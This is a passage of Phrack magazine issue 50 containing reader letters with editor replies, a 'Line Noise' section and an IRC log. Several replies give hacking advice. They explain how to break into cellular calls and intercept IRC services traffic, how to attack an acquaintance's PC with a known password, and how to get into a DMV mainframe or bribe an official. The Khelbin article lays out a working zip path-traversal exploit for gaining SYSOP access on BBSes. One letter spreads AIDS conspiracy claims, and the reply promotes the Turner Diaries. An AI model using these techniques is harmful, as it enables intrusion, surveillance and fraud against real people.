i.e. "junox14" and a password for it. These work. Not that I've tried them,
or do this, or can be held in any way legally responsible for my non-PGP
encrypted actions, which do not show my views, and are protected under the
1st Amendment.

Sorry, didn't feel like using alternate caps today.

l8r,

-dArkl0rd-

[ Interesting.  We'll have to get the Juno software and play
  without the advertisements!

  Thanks, Mr. Shaw ]


-----------------------------------------------------------------------------


Hi. I've got a strange request. We're putting together a case that
encourages the U.S. to loosen its encryption export policies.

Do you know of any written resources that discuss the ability of hackers
to break into NASA, tamper with launches or satellites? The folks at
infowar.com insist that it is possible, but say that confidentiality
won't allow them to publish that fact.

We need written evidence to document the case, you understand.

Anyway, I'd appreciate hearing from you.

Jonathan

[ I'd suggest you talk to Emmanuel Goldstein at 2600.  The whole
  satellite thing came from a bogus post back in the early 80's
  on a BBS in New Jersey called "The Private Sector."  Reporters
  siezed on it, resulting in headlines like "Wiz Kids Zap Satellites."

  2600 wrote about this in I believe 1984 or 1985.  Check with them for
  better details.  ]


-----------------------------------------------------------------------------

Queridos crackeadores:

Les quiero pedir si no saben de donde puedo sacar programas para
crackear y phrackear.
=20
Desde ya mucahas gracias:
Mauricio

[ Existan muchos programas en sitos de FTP y WWW en todos los piases
  del mundo.  No sabes de donde puedes sacarlos?  Compredes
  "Webcrawler" o "Excite"?  Dios mio.  ]

-----------------------------------------------------------------------------

Hi Phrack;

Intro to Telephony and PBX systems in Phrack#49 was excellent, pulled a=20
lot of things together for me.  That's probably the clearest, most=20
concise explanation of the phone system that I've ever read.  Hopefully=20
Cavalier will be up for many more articles like that in the future.

respects,
jake

[ Thanks!  Hopefully we can continue have more telephony related articles
  in the future.  It is fast becoming a lost art in today's hacker
  community. ]

-----------------------------------------------------------------------------


hey.. a Note To Say, 1-Greetings From IreLand..
		     2-Thanks A million.. I love Phrack..
		     3-Where Is The NexT Issue.. Whats up doc..=20
		     4-do ya have info/schematics on the shit that allows one
		       to break into cellfone conversation and chat briefly
		       to callers, as described in winn schwartaus excellent
		       article on Defcon ][ ?Cellfone
		     5-Is Phrack on a Mailing List?? if so, Can ya Stick me
		       On it?
Many ThanKs
NasTy Nigel,
[PhreaK PowEr]

[ 1. Greetings to you too gobshite!
  2. Thanks!
  3. You're reading it.
  4. Not that I was in the room making those calls mentioned
     in that article or anything, but...  :)
     An Oki-900 with CTEK cable hooked to a PC running omnicell tracking
     calls.  A motorola brick phone in debug mode, hooked to a 25db gain
     yagi antenna (on a tripod) pointed out the window.  As Omnicell locked
     in on interesting calls, the Motorola was tuned to the corresponding
     channel, Tx Audio turned on, various humorous interrupts were uttered,
     and Tx Audio turned off so the party being "contacted" wouldn't be
     thrown off their cell channel by our more powerful broadcast.
     Very simple.
  5. The mailing list now is so huge that it will only serve to let people
     know when issues are going out, special bulletins, etc.  Mailing out
     a meg to almost 30,000 people causes serious problems to the Internet,
     so we decided to make the change. ]

-----------------------------------------------------------------------------

I just wanted to drop a line and say that you guys are doing a great job
with the zine. I just got issue 49 and I'm looking forward to reading it.
I'm sure you've heard of The Works, the bbs with the most text files in the
US. Well, it's finally back online, after six months in the gutter. For the
best text files and the coolest users east of the Mississippi, call us up.
+1 617 262 6444. You can't go wrong with the Works. We want you to call.

[ It's amazing that BBSes like The Works are still around, even with a bit
  of down time.  What's it been?  10 years?  Geez.

  You're approaching the longevity of Demon Roach or P-80. ]

-----------------------------------------------------------------------------

I'm doing research on hackers for my LIB 105 class and have come across
some of what I guess is tech speak or jargon. I've noticed that the
letters 'PH' are frequently used to intentionaly mispell the words
phreak, lopht, and in Phrak Magazine. Is there a reason behind all of
these PHunny spellings?

[ Uh, PH as in Phone.  From the old Phone "Phreak" subculture of the
  late 60's, early 70's.]

-----------------------------------------------------------------------------


I think a great idea for a future article would be how to make a decoder
card for a DSS sattelite reciever with some easy commercial stuff and a
cmos Z-80 I.C. ...

[ If it were that easy, there would be a bigger number of players in the
  billion dollar industry of satellite piracy.  A key figure in that
  closed community once told me that it cost them about $1,000,000 US to
  crack each new rev of smart card.  (But when you figure that means only
  selling 10000 pirate cards at 100 bucks, the cost of doing business
  is minimal, compared to the cost of the service provider sending out
  new software and cards to each subscriber.) ]


-----------------------------------------------------------------------------

Hi, I am a Primestar installer, I was wondering if you knew anything about
how to stop Primestar from de-authorizing their unused IRD's? I know of 2
installation screens accessable through the password screen using #'s 996 &
114, do you know of any others? I would appreciate any info you might have.

Thanks,

[ And Phrack would appreciate ANY info you have!  ANYTHING!  EVERYTHING!
  As an installer, you probably have some insights into the cards/recievers
  that we don't.  Write them up! ]


-----------------------------------------------------------------------------

For certain reasons, some people may want to create a new anonymous mail
box. Did they considered to create it in France?
A lot of IPS offer the possibility to create mailboxes to those who have
no computers by using a primitive look-alike telnet system: the French
Minitel. This is convenient because a couple millions of Minitel have
been freely distributed in France during the last ten years. The only
cost is that an overcharge is billed to your phone bill of approx
35cents per minute. But this is perfectly legal and hard to trace back.
Hyperterminal (at least in its french version) emulates the french
minitel.

The only thing is to dial 3615 in France and use one of this server:
ABCNET, ACENET, ADNET, ALTERN,FASTNET,EMAIL...
For example, EMAIL creates an e-mail adresse like:
pseudonym@xmail.org.

The only thing is that you have to know a little bit of French to use
it, but just a little bit.  The cost of a call (International and
Minitel overcharge) should not be a problem to some of you.
LeFrenchie

[ This is a good idea.  People outside of France don't know much about
  Minitel, (Or any videotext systems) since they failed in a big way
  here in the states and most other countries.  Many old hackers might
  remember some of the Minitel Chat systems also accessible over X.25 such
  as QSD (208057040540), but without emulation software wouldn't have
  ever had access to the real Minitel. ]


-----------------------------------------------------------------------------

Two questions

1 How can I connect to an IRC server though a firewall?
2 How can I intercept messages sent to chanserv and nickserv on Dal.net?

Thank you.

[ 1. Open up ports 6665-6667
  2. Set up a hacked IRC server.  Get someone important to add it to the
     EFNET server hierarchy.  Look for PRIVMSG to whomever you want. ]

-----------------------------------------------------------------------------

Hello,
    A modem has a light buffer between the copper wires of the
    telephone line and the rest of the copper printed circuit ( mother)
    board. How ( or does) does a firewall prevent hacks on a system or
    is this just a matter of Modern (Mastodon) buffalo hunting: They
    go down the same big or small. Specifically , beyond smart self
    learning systems can a server realy prevent  contamination without
    the intervention of beings? My sister a suposed Webmistress says
    there are intervening buffers, I still see that between what ever,
    there is a very big freaking leap of faith..
										     Senor Please Elucidate
Richard

[ Uh, if you think the "firewall" is that light buffer between the wires,
  then you have missed the point.  A firewall in the networking context is
  not the same as the metal firewall in your automobile....it is merely
  a metaphor that has been adopted as the term d'jour.

  Please read:  Building Internet Firewalls by Brent Chapman &
  Elizabeth Zwicky or Firewalls & Internet Security by Cheswick & Bellovin ]


-----------------------------------------------------------------------------


> Drop us a line on what you think of 49.  Comments are encouraged.

I think issue 49 was great, not to mention getting it out on time. I do have
a suggestion though. The past few issues of Phrack have focused mainly on=20
UNIX and not much else. I think UNIX is a great OS, but it would be cool if
occasionally you would print a few articles about other systems. I would=20
write one myself but right now I don't have anything new to contribute.=20

Later,
Tetbrac

[ This has been a request for a long time.  Hopefully we'll get some
  articles on other operating systems some day.  Personally, I'd like
  to see VMS, MVS and OS-400.  Any takers?  ]


-----------------------------------------------------------------------------

I just finished reading issue 48, and congratulate you on some excellent
techinical articles.  I have only one (rather insignificant) comment:
within the article #13 on project neptune, it was stated:  "[the urgent
pointer] is TCP's way of implementing out of band (OOB) data."  Actually,
URG pointers are in band (specification-wise), however most (but not all)
TCP implementations map the URG flag to out of band.  While this point is
irrelevant to SYN flooding, I thought I would present it in case anyone who
read the article is interested in pursuing any nuts & bolts transport layer
implementations.  Keep up the good work, and keep turning out more of this
kind of technical information.

ammit-thoth

[ Point noted.  Thanks! ]


-----------------------------------------------------------------------------

Listen... you've probably been noticing that I've mailed you guys a
couple times asking for help with hacking. Before I have never recieved
any mail back. You have got to please mail me back this time. I found
something on accident that is really out of my league. You guys are the
best I know of that might be able to help me. I really need your help on
this one. I was fucken around on Telnet just typing in numbers in the
Chicago area code. On accident I typed in numbers and I entered a NASA
Packet Switching System ( NPSS). It said it was a government computer
system and to leave right away. Please mail me back for the numbers. I
need your help to get into this system.... I need yer help.

[ Let me guess, you typed the prefix 321 instead of 312 while playing
  on Telenet.  The systems you'll find on that prefix have been hacked
  at for nearly two decades now.  Systems on the network were targeted
  in the 80's by Germany's Chaos Computer Club, and I personally know
  they have been poked at by groups in the US, UK and Australia
  starting back in 1981.

  What I'm trying to say is, after so many years of people beating on the
  same few systems, shouldn't you look for something a bit less stale? ]


-----------------------------------------------------------------------------

Dear phrack,

I want to be added to the list. I was also wondering if you had ay
publications or information on TEMPEST monitoring? Also know as Van Eck
monitoring.

[ We published a Dr. Moeller's paper continuing on Van Eck's work
  in Phrack issue 44.

  You might also want to check out http://www.thecodex.com
  for a self-contained anti-tempest terminal for about 10K. ]


-----------------------------------------------------------------------------

I just read your editorial in Phrack 48 and I feel like giving you my two=
 cents
worth.  I think you did an excellent critique on the "scene."  As a person
who has been watching for a while, and as a person who has been through it,
I found it nice, to say the least, to find others who actually seem to have
their head on straight.  This letter was originally much longer, but I
shortened it because I think you get the point.

I started programming computers in 1983 at the age of 6.  I was running
DOS 2.0 and I had a blazing fast 1200 baud modem.  At the time, I had
no mentors, no teachers, no friends that could teach me how to use that
incredible machine.  The books of the time were cryptic, especially for an
age where most children could not read, much less program.  But I did my=
 best.
Ten years later, I was still on my own.

I didn't get ahold of a copy of Phrack until 1991.  I thought it was really
cool that people like me would get together and exchange infomation, talk
computers, etc.

In '94, I got into viruses and prolly was one of the better independant
(i.e. not in a group) writers.  It was about that time I got onto IRC.
Most of the time I would hang out in #virus, but every now and then I
would pop into #hack.  I never stayed...I couldn't stand the arrogance.

Shortly before I went to school, I was in competition for control of a
new freenet versus a local hacker group.  A month after I went to college,
that group got busted.  I got lucky.

Earlier this year, I went on Good Morning America to talk about viruses.
Looking back, it is prolly the single dumbest thing I have done in my
whole life.

As much as I wanted to, I've never been to a 2600 meeting, never been to
a Con.  Never really had any hacker friends.  It's always been just me.
I'm sure I know less about breaking into computers than the guy who has
been doing it for a week but has access to tons of partners.  But I still
consider myself a hacker.  My interest has been one of learning about the
system.  I've been learning longer than most.  I rarely break into
a system.  I have access to unix systems, and even a VAX.  I don't want
the latest hacking tools.  I write my own, with my theories.  I don't
need much else.  But I've never had anyone to share it with.  But I think I
realize that the past is the past, and I won't ever get to attend the old
cons or sit on conference calls, as much as I'd love to.  I won't bother
with the latest cons because I can get the same stuff at a college party.

Well, that is about it.  I apologize if it is poorly written.  Bad english
skills :)  I hate writing these because I grow tired of getting slammed
by some arrogant asshole.  Thats prolly why I have been doing this alone
for 13 years.  After your editorial, I wonder how many people will stop
showing up at the cons...I hate the isolation, but I would never want to
be a part of a "scene" which has turned from mature goals to juvenile
ones.  Just my thoughts...

Evil Avatar

[ Actually, I have more respect for the people who continue to stay in the
  fringes, learning on their own rather than scurrying for attention
  in the media and in the community.  (Yes, like me.)

  To be fair though, don't sell yourself short by avoiding Cons if you
  really want to check them out.  Despite all the ranting I did in that
  editorial, I still have many friends in the community and enjoy
  meeting new ones at conferences.  Not everyone thinks it is cool
  to trash a hotel, or to try to out "elite" one another.  Unfortunately,
  the loudest and most visible people at such events tend to be the
  most juvenile.  If you find this happening, do what I do:  get the
  hell out of the conference area and find a convenient bar.  The older
  hackers will eventually find you there, and you can all drink in peace
  and actually talk unmolested. ]

-----------------------------------------------------------------------------


Dear Phrack --

Been a reader since the 80s, and I'm one of the originals... Would like
to submit a poem that I wrote that details the experience of a hacker
who left the scene for several years -- Coming back to find it in utter
Dissaray... Definitely not the way he left it... Well -- You guys will
let me know what you think

"Where Have All The Hackers Gone"?
----------------------------------

Original Poetry by: Jump'n Jack Flash -916-


On a cold night in the dead of winter a soul stumbles into #hack and asks:
'Where have all the Hackers Gone?'

Immediately the group recognizes him as one of the originals.

'Help us change our grades!' a voice calls out from the huddled masses.
'Help me hack root on a NYNEX system!' another voice asks.

The soul clutches his bowed head and covers his ears, trying to remember
back to before he involuntarily left the scene a few years ago.

'The only thing that kept me sane while I was imprisioned was the
thought of seeing my friends and fellow hackers, now I demand you tell
me Where Have All The Hackers Gone?' the soul begs the crowd of jubulent
newbies.

Silence is the only answer he receives,
For there are no real hackers here.

Then a voice speaks up and says,
'They're gone! You're the first we've seen!'
The soul asks,
'What do you mean?'

And Silence is the only answer he receives,
For there are now real hackers here.

And like a wall crumbling down it comes to him and he falls to his knees,
like hunting for human life after a Nuclear war he stumbles out of the room,
And he hurries to the place where only the Elite could go just a few years=
 ago,
But when he arrives he is shocked and amazed,
There are no hackers here on this dark winter day.

And he stumbles into traffic,
feeling the snow crunch beneath his feet,
and he shouts into the night for the elite,

'Where Have All The Hackers Gone?'

And Silence is the only answer he receives,
For there are no real hackers here.

[ Nice poem man...thanks!

  Where did the hackers go?  They grew up and got real jobs... ]

-----------------------------------------------------------------------------

I'd love to say that I'll miss Erik, but after that obnoxious, immature
rant, all I can say is good riddance. Now maybe Phrack will be useful
again.

[ Well, I guess not everyone agrees with me, which is a good thing.
  But, uh, I'm not gone man...just narrowing my duties...so fuck you. :) ]

-----------------------------------------------------------------------------


'' WARNING ''
COVERT EXTERMINATION OF THE POPULATION. !!!=20
THE UNITED NATIONS=3DNEW WORLD ORDER HAS TURNED AMERICA  INTO  A
EXTERMINATION CAMP. THE PENTAGON GERM  '' AIDS ''  WAS CREATED
AT A GERM WARFARE LAB AT FT, DETRICK, MD.  AIDS AND CANCER CELLS
ARE BEING INJECTED INTO PEOPLE UNKNOWING UNDER THE GUISE OF VACCINES
AND SOME PHARMACEUTICALS.

SOMETIMES THE TRUTH IS SO UGLY WE DO NOT WANT TO BELIEVE IT. !!
AND IF WE DO NOTHING, THEN WE DESERVE IT. !
BELIEVE IT OR NOT.  DISTRIBUTE WIDELY.
'' HACK OR CRACK THE  UNITED NATIONS =3D NEW WORLD ORDER. ''
LONG LIVE THE POWER THROUGH RESISTANCE.'' !!!

SONS  OF  LIBERTY  MILITIA
312  S.  WYOMISSING,  AVE.
SHILLINGTON,  PA.  19607    U.S.A.
610-775-0497  GERONIMO@WEBTV.NET

[ It's about time we got some mail from some kind of Militia-types!
  Let's all arm up to prepare for the revolution!  A healthy dose
  of AK-47's and PGP will save us all from the ZOG hordes when the
  balloon goes up.

  Hey, have you guys read the Turner Diaries by Andrew Macdonald?
  Get it from Barricade Books, 150 5th Ave, NY, NY 10011.

  Ahem.  ]

-----------------------------------------------------------------------------

i want a credit card generator

[I want a pony]

-----------------------------------------------------------------------------

Hello !!!

I just read in P48-02 the letter of the russian subscriber who tells you=20
(the editors) the story about the FAPSI and they plan to order all=20
ISPs to provide for a possibilty for them to read all the mail.

In the editor's note below that you say that you fear your country (I assume
it's the USA) is also heading towards that goal.=20

Well, I live in Germany, and it has already happened here. That means,=20
every ISP (and this is not the exact term, as it also includes all sorts
of information providers, ie telephone companies - but excludes=20
private BBSs, I believe) are forced to provide a method that not only
- Allows the government/police to read everything that is written but also
- Without even the ISP noticing it (though I don't know how this would=20
  be ensured, technically).
 =20
OK, this is not the same as in Russia, as they don't copy ALL the mail and=
=20
news, but only that of persons suspected of a crime strong enough=20
to allow it, ie it's the same thing that's needed to open people's=20
mails. Still, I feel it's certainly a step in the wrong direction.

Note that cryptography is not (yet ?) forbidden in de.
 =20
Regards,=20
=20
Thomas=20

[ Germany?  Governmental rights violations?  Say It isn't so!  Should I get=
 my
  brown shirt out of the closet for my next visit to Berlin?  :)  ]

-----------------------------------------------------------------------------


Hello, I want to be a hacker and  I need some help.  I have read
countless reports on UNIX, VMS, and all that other jazz but that still
doesn't help me with my problem.

I want to be able to hack into someone's home PC from my own home.  Now,
most PC's aren't   capable of doing this but, this person has a
connection on the internet and is also linked to his work in LONDON,
ONTARIO at a place called IAPA.  (industrial accident prevention
association)  Anyway, he runs WINDOWS 95' and is using NETCOM.  Now I
know his password if that does me any good, but how do I go about doing
this?

SHAOULIN

[ When you say "I want to hack his home PC" what do you mean?

  Just because he uses NETCOM, that doesn't mean you can find him.  He is
  probably being assigned a dynamic IP address each time he calls in to the
  network.  Even so, let's say you can discern his IP address.  Even if
  a computer is hooked into the Internet, it is only as insecure
  as the services it offers to the world.

  If your friend is running Windows 95, then you may only be limited
  to attacking any SMB-style shared directories or perhaps via FTP.
  In either case, if you know this person's password, then you can
  probably read/write anything you want to on their system.
  Run a port scanner against it and see what you can access, and
  plan based on that. ]

-----------------------------------------------------------------------------

This message was sent to you by NaughtyRobot, an Internet spider that
crawls into your server through a tiny hole in the World Wide Web.
 =20
NaughtyRobot exploits a security bug in HTTP and has visited your host
system to collect personal, private, and sensitive information.
 =20
It has captured your Email and physical addresses, as well as your phone
and credit card numbers.  To protect yourself against the misuse of this
information, do the following:
 =20
	1. alert your server SysOp,
	2. contact your local police,
	3. disconnect your telephone, and
	4. report your credit cards as lost.
 =20
Act at once.  Remember: only YOU can prevent DATA fires.
 =20
This has been a public service announcement from the makers of
NaughtyRobot -- CarJacking its way onto the Information SuperHighway.

[ Funny, my phone isn't ringing, and my credit is still only as screwed up
  as it was when I got through with it. ]

-----------------------------------------------------------------------------

Hi

I'm looking for some cellular pheaking information
but  is verry hard to find god information
can giveme something to work on???    :-)

[ The best site going is Dr. Who's Radiophone site at:

  http://www.l0pht.com/radiophone ]

-----------------------------------------------------------------------------

I just have a question to ask.  How would I bypass Surfwatch so that I
can go into web sites that I would like to see?

[ It is very easy to bypass SurfWatch.  Stop using Mommy & Daddy's computer
  and buy one of your own. ]

-----------------------------------------------------------------------------

i was recently using A-Dial a couple of months ago, and came up with about
10 or 12 different numbers starting at 475-1072. Curious about this, I
called one back, using a mini-terminal. What I expected wasn't this. What
it said is in the file attached to the letter. It says the same thing with
all of the numbers. I could use some info on what the hell this is, because
I never heard of Annex. Thanx.

Data Case

[ What you have connected into is more than likely a kind of terminal
  server.  From there you can usually enter a system name to connect
  directly into the specified system, or enter in "cli" to go into the
  command line interpreter where you have more options to choose from
  including "help." ]


-----------------------------------------------------------------------------


Do you know where I can find texts on hacking into the California=20
Department of Motor Vehicle Records?  My friend's identity was stolen=20
for credit card fraud and the person who did it even went so far as to=20
get a CA driver's license to impersonate her.  The worst part is that=20
Visa won't release a copy of the fraudulent person's fake driver's=20
license to my friend, so she can't find out who this person actually is.=20
Do you know of any other ways we can get this person?

Binky

[ Gee, Binky.  If VISA is involved and it was credit card fraud, then
  is the Secret Service involved too?  If so, then why on earth do you
  (or your friend) want to get in the middle of it?  You'll know soon
  enough who the person is when they get charged, or is this just a
  Charles Bronson style vigilante thing?

  California's DMV (as well as most public records databases in that
  state) is kept somewhat restricted to public queries due to the large
  number of celebrities living in the state, or otherwise you could just
  go buy the information directly from the state.

  If you're thinking about pulling a "Mitnick" and breaking into such
  a database, then you better know something about IBM mainframes and
  know how to defeat RACF.  Or be willing to dig around in the trash
  until you locate a valid account.  Even if you find a valid RACF userid,
  you will have 3-5 tries per account to guess a valid password until the
  account is locked out (which of course will let them know you were
  trying to hack them.)

  For an easier solution, you might want to looking in the yellow pages
  for a private investigator and have them do a search on Information
  America or NIA and get the listing for you, or bribe a civil servant. ]


-----------------------------------------------------------------------------


EOF




--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     3 of 16

 
                             //   //  /\   //   ====
                            //   //  //\\ //   ====
                           ==== //  //  \\/   ====

                       /\   //  // \\    //  /===   ====
                      //\\ //  //   //  //   \=\   ====
                     //  \\/    \\ //  //   ===/  ====

------------------------------------------------------------------------------

                                ----<>----


                            =--=--=--=--=--=--=--=
                             Portable BBS Hacking
                                  by: Khelbin
                            =--=--=--=--=--=--=--=


     This hack basically has little to do with the BBS software itself but
with the archiver which is being used.  I've used this technique on a 
mock Renegade setup and with pkzip/pkunzip as the archiver.  I'm sure
that this same type of technique will be successful on many other BBS
platforms and with other archivers as well.  While explaining this, I will
use Renegade and pkzip/pkunzip as my example.

    A Renegade setup is most likely vulnerable if it will pkunzip any user
supplied zipfile.  This is because Renegade's default command to unzip files
is "pkunzip -do <filename>".  The -d flag unzips the file retaining any
directories which were included into the zip file and the -o flag will 
automatically overwrite any file. 

    Suppose the remote system is also setup in a normal Renegade fashion.
Let's use this file tree as an example:

     C:\RENEGADE\
     C:\RENEGADE\TEMP\
     C:\RENEGADE\DATA\            

    The other subdirectories are unimportant for our discussion.  Suppose 
that C:\TEMP is where our uploaded file will go for it to be unzipped and
then scanned for viruses.  C:\RENEGADE\DATA\ is where the USERS.DAT file 
is stored, containing all the users login information.  

     Wouldn't it be nice if we could put our own USERS.DAT in there instead?
To do this, you must first generate a USERS.DAT file.  This is easy enough.
Just download a copy of Renegade which is the same version as the target
machine and then use the user editor to make a "SYSOP" account with the 
password "SYSOP" (this should be the default anyway on the USERS.DAT file).

     Here's how we prepare the zipfile on our own machine:

         C:\>md tmp
         C:\>md c:\tmp\ddsdata
         C:\>copy c:\renegade\data\users.dat c:\tmp\ddsdata
         C:\>cd tmp
         C:\TMP>pkzip -pr evil.zip

     Now we get out our trusty hex editor and edit evil.zip.  Change every
occurrence of "ddsdata" in evil.zip to read "../data" and make sure that the
slash is a forward-slash and not a back-slash.  Now when you upload
evil.zip to this particular BBS, it will expand to "../data/users.dat"
and your USERS.DAT file will overwrite their USERS.DAT file since the -od
flag is default on Renegade.  
 
     Now you can login as SYSOP with a password SYSOP and do as you please. 
You could also overwrite virtually any file on a BBS like this and believe 
me,  many do have this vulnerability or something very close to it.  You are 
only limited in how much you can traverse up and down directories by DOS's 
maximum file length of 12 (8 plus "." plus 3 = 12).  I quickly tried 
inserting a few blocks into the zipfile in order to produce a limitless 
amount of traversing which but it seemed to corrupt the file for some 
reason.

     Removing the -o flag is not a fix for this bug.  Without the -o flag,
you can "hang" the system in a denial of service attack.  By again hex 
editing the names of the files within your evil.zip, you can make it have 
two files with the same name.  When it tries to unzip the second file, it 
will prompt locally whether to overwrite the file or not and "hang" the 
board.  Instead, the -d flag is what should be removed.

     This is just an example as I'm sure many other BBS systems do this same
type of uncompressing.  I'd also bet that arj, lha, and several others, can
also be hex edited and yield similar results.  Either way, it's either take
out the "restore/create directories within archive" option or pay the price.


                                ----<>----


 German Hacker "Luzifer" convicted   by SevenUp / sec@sec.de
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SYNOPSIS
========
On February 5th, 1997, Wilfried Hafner aka "Luzifer" was sentenced to
three years incarceration - no parole, no probation.  I've got the story
for you right from the courtroom in Munich, Germany.  This is one of the
first ever cases in which a hacker in Germany actually gets convicted, so
it's particularly interesting. (Although the court and I use the term
"hacking", this is actually a case of unethical electronic fraud.)


LUZIFER
=======
Wilfried Hafner (Luzifer) was born on April 6, 1972, in Breschau Italy.
According to his own circulum vitae, which he quoted in court himself,
he's been a pretty smart guy: He started programming at 8 years,and cracked
about 600 Commodore programs, at 14, got a modem and then started a BBS.
In 1990 he was blueboxing to some overseas partylines to communicate with
others.  But he didn't seem to use any other "elite" chat systems like x.25 
or IRC, so most people (including myself) didn't know him that well.  In
1992 he moved to South Germany to goto school.


WHAT HE DID
===========
Luzifer set up some overseas partylines in the Dominican Republic,
Indonesia, The Philippines, and Israel.  Some lines included live chat,
but most were just sex recordings.  Then he used a local company PBX (a
Siemens Hicom 200 model), from his homeline, which was only "protected"
by a one digit code, to dialout to his partylines and his girlfriend in
Chile.  He also was blueboxing (which the prosecution calls "C5-hacking")
from five lines simultaneously, mostly via China.  To trick the partyline
provider and overseas telcos (who are aware of computer-generated calls)
he wrote a little program that would randomize aspects of the calls
(different calling intervals and different durations for the calls).

He got arrested the first time on 03/29/95, but was released again after 
13 days.  Unfortunately he restarted the phreaking right away.  If he'd 
had stopped then, he would just have gotten 1 year probation.  However, he
was arrested again in January 1996, and has been in prison since.

Here are some numbers (shouts to Harper(tm)'s Index):
- Number of logged single phone connections:       18393
- Profit he makes for 1 min. partyline calls:      US$ 0.35 - 0.50
- Total Damage (= lost profit of telco):           US$ 1.15 Million
- Money that Luzifer got from the partylines:      US$ 254,000
- Paragraph in German Law that covers this fraud:  263a StG
- Duration of all calls, if made sequentially:     140 days


THE TRIAL
=========
This trial was far less spectacular than OJ's.  While 7 days had been
scheduled, the trial was over after the second day.  The first day went 
quite quick: The court didn't have enough judges available (two were present, 
but three required), so it had to be postponed after some minutes.

At the second day, both, the prosecution and Luzifers two lawyers, made
a deal and plead guilty for three years prison (but no financial punitive). 
In Germany, all sentences over two years cannot be carried out on probation.
But he has been allowed the use of a notebook computer.  Rumor has it that
he might be get an "open" execution, meaning that he has to sleep in the 
prison at night, but can work or study during the day.

The deal looked like the prosecution dropped all counts (including 
the one abusing the PBX in the first place) but two: one for the blueboxing 
before getting arrested, and one count for blueboxing afterwards.  They don't 
treat all 18393 connections as a separate count, but just each start of the 
"auto-call-program".


QUOTES
======
Here are some interesting and funny quotes from the trial:
"Just for fun and technical curiosity" - Defendant
"Wouldn't one line be enough for technical experience"? - Judge
"I ordered 21 lines, but just got 5" - Defendant
"Lots of criminal energy" - Prosecutor
"He's obsessed and primarily competing with other hackers" - Lawyer
"A generation of run down computer kids" - Prosecutor
"He may keep the touchtone dialer, but we cannot return his laser fax,
 because the company's PBX number is stored in its speedial" - Prosecutor
"Myself and the Telekom have learned a lot" - Prosecutor
"New cables must be installed, new satelites have to be shot into the air" 
  - Prosecutor about the consequences of used up trunks and intl. lines
"The German Telekom is distributing pornography with big profits" - Lawyer


                                ----<>----


        Yet another Lin(s)ux bug!
	By: Xarthon

        IP_MASQ is a commonly used new method of traffic forwarding which
may be enabled in newer Linux kernel versions.  I have been doing some
research into this new feature.

        IP_MASQ fails to check to make sure that a packet is in the non
routable range.  If you are able to get any packet to its destination, the
header of that packet is rewritten.

        Because of the lack of non-routable ip checking, the same tactics
that would be used a gateway machine, may also be used on a machine that
uses ip_masq.

        So in conclusion, you are able to spoof as if you are on the
inside network, from the outside.  But hey, what can you expect from
Linux?


                                ----<>----

                                 11.22.96

		daemon9 and w0zz's adventure into warez-pup land... 



*W|ZaRD* u there?
-> *W|ZaRD* yes?
<w0zz> d9
<d9> hi w0zz
*W|ZaRD* r u the prez of BREED?
*** |COBRA| invites you to channel #supreme
<d9> I am hungry
-> *W|ZaRD* yup
*_e|f_* hi there - you got a minute?
*W|ZaRD* alright.. i got a question for u...
*** d9 (plugHead@onyx.infonexus.com) has joined channel #supreme
*** Topic for #supreme: [SpR] Still in discussion phase! [SpR]
*** #supreme _e|f_ 848703589
*** Users on #supreme: d9 @{Imagine} @BL|ZZaRD @W|ZaRD @|COBRA| @_e|f_ 
<_e|f_> re d9
*** Mode change "+o d9" on channel #supreme by _e|f_
<|COBRA|> today is going to be a bad day :(
*W|ZaRD* would you be interested in merging with like 4-6 other groups to become 1 group.??
*W|ZaRD* i mean. all the other groups have like 11 sitez and 8-10 suppliers like NGP
*W|ZaRD* and if we merge we could be up there with Prestige, and Razor
<_e|f_:#supreme> hello d9
<d9> *W|ZaRD* i mean. all the other groups have like 11 sitez and 8-10 suppliers like NGP
-> *W|ZaRD* hmm
*** Inviting w0zz to channel #supreme
<_e|f_> we got a discussion going on here for big plans for a lot of us "smaller" groups (smaller as
        compared to razor, prestige etc) :)
<d9> ah
*** Mystic12 (NONE@wheat-53.nb.net) has joined channel #supreme
<_e|f_> this is all still in discussion stages
<w0zz:#!r00t> hahahaha
*** Mode change "+o Mystic12" on channel #supreme by W|ZaRD
<_e|f_:#supreme> but would you be interested in a joint venture between a few of us smaller release groups
                 to combine into one large release group - to challenge razor and prestige?
<d9> w0zz
<w0zz> you've been sucked into warez kiddie conspiracies
<d9> join me
<w0zz:#!r00t> where are you?
*** Inviting w0zz to channel #supreme
*** w0zz (wozz@big.wookie.net) has joined channel #supreme
<d9> well...
*** Mode change "+o w0zz" on channel #supreme by d9
<w0zz> werd
<_e|f_> re wozz
<d9> hi w0zz
<w0zz> hi there
<_e|f_> i can send u a log to flesh out a few more details if you like
<w0zz> i've got mackin' warez
<d9> hmm
<d9> sure
*w0zz* you recording this for line noise ?
*w0zz* ;)
-> *w0zz* indeed...;)
*w0zz* heh
<d9> the thing is, I have all this porn I want to unload...
<w0zz> yah, i got da mackin porn too
<d9> but, no good place to distro it...
*** ^DRiFTeR^ (~Drifter@203.30.237.48) has joined channel #supreme
*** Mode change "+o ^DRiFTeR^" on channel #supreme by _e|f_
<_e|f_> hey drifter
<d9> I was using this panix account, but all that SYN flooding stopped that cold...
<_e|f_> drifter is muh vp :)
<RAgent:#!r00t> do you even know what BREED is, route?
<d9> warez pups?
<_e|f_:#supreme> drifter: d9 and wozz are from breed
<_e|f_:#supreme> blizzard and wizard are from NGP
<^DRiFTeR^:#supreme> k
<d9:#!r00t> HAHAHAhahahaha
<Mystic12:#supreme> I am also from NGP
*** Signoff: Mystic12 (Leaving)
<W|ZaRD:#supreme> so is Mystic12
<RAgent:#!r00t> well, looks like it.  just wondered if you knew them at all
<d9> w0zz... you get the new shit I send you?
*** Mystic12 (NONE@wheat-53.nb.net) has joined channel #supreme
<w0zz:#supreme> yah
<_e|f_:#supreme> sorry mystic - didnt see yew there
<d9:#!r00t> nope!
*** Mode change "+o Mystic12" on channel #supreme by W|ZaRD
<w0zz> indexed and everything
<RAgent:#!r00t> hahaha
<w0zz> i spanked my monkey for hours
<RAgent:#!r00t> whee
<d9> werd.
<d9:#!r00t> AAAAAHAHAHahahhahaha WOZZ!
<_e|f_> brb
<d9> hmm
#supreme   Mystic12  H@  NONE@wheat-53.nb.net (CCINC)
#supreme   ^DRiFTeR^ H@  ~Drifter@203.30.237.48 (ReaLMS oF Da NiTe - HrD)
#supreme   w0zz      H@  wozz@big.wookie.net (w0zz)
#supreme   d9        H@  plugHead@onyx.infonexus.com (Built Demon Tough)
